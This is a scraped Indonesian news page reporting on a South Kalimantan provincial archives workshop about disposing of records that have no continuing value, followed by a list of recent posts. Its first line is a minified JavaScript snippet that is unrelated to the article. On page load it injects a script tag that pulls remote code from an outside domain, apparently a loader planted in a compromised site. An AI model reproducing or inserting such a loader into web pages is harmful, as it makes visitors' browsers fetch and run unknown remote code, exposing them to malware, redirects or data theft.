(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Kadispersip: Tak Perlu Menyimpan Arsip yang Tak Bernilai Guna


BANJARBARU, Mendukung pengelolaan arsip dinamis yang efektif dan efesien maka perlu dilakukannya desiminasi (bimbingan) pengelolaan arsip. Demikian yang disampaikan Kepala Dispersip Kalsel, Dra Hj Nurliani Dardie sekaligus membuka acara di Fave Hotel, Rabu (26/6).

“Sebagaimana diamanatkan oleh Peraturan Daerah Provinsi Kalimantan Selatan tentang penyelenggaraan kearsipan, maka digelar acara ini. Untuk pesertanya sendiri adalah perwakilan SKPD dan lembaga kearsipan kabupaten/kota,” ujarnya.

Dalam kegiatan ini, Kasubdit Akuisi Arsip I Arsip Nasional Republik Indonesia (ANRI), Drs Tato Pujiarto dihadirkan sebagai narasumber untuk memberikan materi kepada puluhan peserta yang hadir.

Kadispersip Prov Kalsel, mengatakan desiminasi teknis pengelolaan arsip dinamis kali ini, dikhususkan mengenai penyusutan arsip. Menurutnya,  setelah adanya Peraturan Gubernur Kalimantan Selatan nomor 014 tahun 2018 tentang jadwal retensi arsip fasilitatif fungsi non keuangan dan non kepegawaian dan subtantif Provinsi Kalsel.

“Begitu juga kabupaten/kota masing-masing sudah mempunyai jadwal retensi arsip yang mana sebagai pedoman penyusutan arsip. Sehingga kita tidak perlu menyimpan arsip yang tidak bernilai guna lagi,” lanjutnya.

Selain itu diharapkan juga, kegiatan ini dapat menambah wawasan dan pemahaman terhadap pengelolaan arsip dinamis khususnya bagaimana prosedur penyusutan arsip yang baik dan sesuai dengan peraturan perundang-undangan.

Ya, kepedulian dan pengetahuan para pegawai terhadap arsip yang tersimpan memang perlu dikembangkan. Karena jika tidak, maka bisa saja arsip tersebut justru malah menjadi tumpukam kertas yang tidak bernilai.

Seperti halnya yang disampaikan, Kasubdit Akuisi Arsip I ANRI, Drs Tato Pujiarto, saat pemusnahan ribuan arsip Biro Keuangan Provinsi Kalsel, mengatakan, ada sejumlah faktor yang mengakibatkan banyaknya arsip usang yang masih tersimpan. Salah satunya kesadaran pegawai arsip yang belum maksimal.

“Belakangan kita perkuat dari Undang-Undang kearsipannya, sosialisasinya dan SDM-nya barulah berkembang rasa kesadaran terhadap arsip,” ujarnya. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

13 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

14 jam ago

Santri TK Al Quran di Kabupaten Banjar Ikuti Munaqasah

KANALKALIMANTAN.COM, MARTAPURA -  Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More

14 jam ago

Jelang Pilwali Banjarbaru, Nurkhalis: Masih Lihat Peta Peluang Koalisi

KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More

16 jam ago

Daftar Bareng Aditya-Yuti, Koalisi “AYUHA” PPP-Gerindra di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More

17 jam ago

Manis Cuan Pokmas Madu Kelulut Berkat Bersatu dari Program RT Mandiri

KANALKALIMANTAN.COM, BANJARBARU – Berawal dari temuan sarang kelulut di dalam pondasi rumah tinggal warga, muncul… Read More

19 jam ago

This website uses cookies.